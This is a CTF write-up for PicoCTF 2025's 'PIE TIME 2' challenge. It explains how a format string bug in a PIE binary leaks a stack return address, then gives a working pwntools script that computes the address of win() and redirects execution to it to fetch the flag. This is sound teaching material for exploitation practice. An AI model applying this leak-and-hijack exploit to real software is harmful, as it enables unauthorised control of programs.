169 lines
6.1 KiB
Markdown
169 lines
6.1 KiB
Markdown
---
|
||
title: "PicoCTF 2025: PIE TIME 2"
|
||
excerpt: "Using format string vulnerability to leak stack information and hijack control flow on amd64 PIE executable"
|
||
tags: [ctf, pwn]
|
||
---
|
||
|
||
## Recon
|
||
|
||
This challenge is the follow-up of the previous "PIE TIME" level.
|
||
|
||
```
|
||
$ PIE-TIME2 file vuln
|
||
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
|
||
$ PIE-TIME2 checksec --file=vuln
|
||
[*] '/home/qelal/PicoCTF/PIE-TIME2/vuln'
|
||
Arch: amd64-64-little
|
||
RELRO: Full RELRO
|
||
Stack: Canary found
|
||
NX: NX enabled
|
||
PIE: PIE enabled
|
||
SHSTK: Enabled
|
||
IBT: Enabled
|
||
Stripped: No
|
||
```
|
||
|
||
All protections are enabled, notably PIE (Position Independent Executable). The program will be loaded each time at different addresses, and the binary will only contain offsets (relative addresses), not absolute addresses like when we compile with `-no-pie`. Anyways, here is the program's behavior:
|
||
|
||
```
|
||
$ ./vuln
|
||
Enter your name:john
|
||
john
|
||
enter the address to jump to, ex => 0x12345: ff
|
||
Segfault Occurred, incorrect address.
|
||
```
|
||
|
||
The behavior is mostly the same as the previous level, however here they ask us for our name first, making the program quite polite.
|
||
|
||
The developer wasn't so kind this time and didn't give us a leak of any address. But we can probably find this by ourselves, can't we?
|
||
|
||
Looking at the source code we find some interesting stuff:
|
||
|
||
```c
|
||
void call_functions() {
|
||
char buffer[64];
|
||
printf("Enter your name:");
|
||
fgets(buffer, 64, stdin);
|
||
printf(buffer);
|
||
|
||
unsigned long val;
|
||
printf(" enter the address to jump to, ex => 0x12345: ");
|
||
scanf("%lx", &val);
|
||
|
||
void (*foo)(void) = (void (*)())val;
|
||
foo();
|
||
}
|
||
|
||
int win() {
|
||
// reads the flag
|
||
}
|
||
|
||
int main() {
|
||
call_functions();
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
For once, they used `fgets`, the safe replacement for `gets`, which checks for input length, making us unable to trigger a buffer overflow here. However, the `printf` function was directly called on user input: `printf(buffer)`.
|
||
|
||
This is a terrible idea as the content of the buffer will be used to parse the format string for printf; for example we could try injecting a `%p` in the input, and we would get the next pointer on the stack. As the input buffer is limited to 64 chars, we can chain a couple more, and leak many pointers on the stack..
|
||
|
||
This is the vulnerability we could use to leak main's return address. To do this first we'll need to know where this address is located on the stack.
|
||
|
||
By decompiling the `main` function, we can find where `call_functions` is supposed to return:
|
||
|
||
```nasm
|
||
0x0000000000001437 <+55>: mov eax,0x0
|
||
0x000000000000143c <+60>: call 0x12c7 <call_functions>
|
||
0x0000000000001441 <+65>: mov eax,0x0
|
||
0x0000000000001446 <+70>: pop rbp
|
||
0x0000000000001447 <+71>: ret
|
||
```
|
||
|
||
The instruction right after the call is at `<main+65>` or offset `0x1441`. We'll take note of this.
|
||
|
||
We can do a bit of dynamic analysis with pwndbg to know where the return address to main could be on the stack:
|
||
|
||
```
|
||
pwndbg> b *call_functions
|
||
Breakpoint 1 at 0x12c7
|
||
pwndbg> r
|
||
[...]
|
||
─────[ BACKTRACE ]─────
|
||
► 0 0x5555555552c7 call_functions
|
||
1 0x555555555441 main+65
|
||
2 0x7ffff7ded24a None
|
||
3 0x7ffff7ded305 __libc_start_main+133
|
||
4 0x5555555551ee _start+46
|
||
```
|
||
|
||
We can now inject a bunch of `%p` specifiers to leak addresses off the stack and see where we'll find main+65:
|
||
|
||
```
|
||
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
|
||
0x5555555592a1 0xfbad2288 0xaaaa6d5f 0x5555555592dc 0x21001 (nil) 0x7ffff7f99760 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 (nil) 0x7ae1306570e7af00 0x7fffffffdb20 0x555555555441 0x1
|
||
```
|
||
|
||
We see that `0x555555555441`, our return address to main, is located at position 19 here. Therefore our exploit will use the `%19$p` format specifier to leak only this information. Also, it is the address for the instruction at `<main+65>`. Knowing this we can calculate the address for `main`.
|
||
|
||
We will simply subtract 65 decimal to the return address we found, and we get: `0x555555555400`. Of course this address will change at each execution but we don't care because we'll automate this later.
|
||
|
||
Also bear in mind that gdb disables ASLR by default so this perfect address made up of fives will be slightly different in non-debugging conditions.
|
||
|
||
Now that we leaked main, how do we know where `win()` is? Well, it's really simple. We will do a bit of static analysis (with IDA) to find win's offset:
|
||
|
||
```
|
||
.text:000000000000136A endbr64
|
||
.text:000000000000136E push rbp
|
||
.text:000000000000136F mov rbp, rsp
|
||
.text:0000000000001372 sub rsp, 10h
|
||
.text:0000000000001376 lea rdi, aYouWon ; "You won!"
|
||
```
|
||
|
||
So the offset for `win()` is `0x136A`. Knowing main's offset aswell, we will substract those two.
|
||
|
||
```
|
||
difference = main_offset - win_offset
|
||
difference = 0x1400 - 0x136A
|
||
difference = 0x96 bytes
|
||
```
|
||
|
||
So we know that `win()` is at `main() - 0x96` and we know the address for `main()`.
|
||
|
||
To know `win()` we will do: `main() - 0x96 = 0x????` and the address doesn't matter here, it will change everytime. But the idea works.
|
||
|
||
## Exploit
|
||
|
||
Great, we have the address for `win()` and the position of main's return address on the stack (19).
|
||
|
||
We can now write a Pwntools script to exploit the binary and get the flag:
|
||
|
||
```python
|
||
io = start()
|
||
|
||
main_offset = 0x1400
|
||
win_offset = 0x136A
|
||
|
||
diff_bytes = main_offset - win_offset # 0x96
|
||
|
||
io.sendlineafter(b'name:', b'%19$p')
|
||
main_ret_text = io.recvline()
|
||
|
||
main_ret_addr = int(main_ret_text.strip(b'\n').decode(), 16) # main+65
|
||
|
||
main_addr = main_ret_addr - 65
|
||
win_addr = main_addr - diff_bytes
|
||
|
||
io.sendlineafter(b'12345:', str(hex(win_addr)).encode())
|
||
result = io.recvall()
|
||
|
||
print(result)
|
||
```
|
||
|
||
Let it run!
|
||
|
||
```
|
||
$ python exploit.py REMOTE rescued-float.picoctf.net 65162
|
||
b" You won!\npicoCTF{REDACTED}\n\n"
|
||
```
|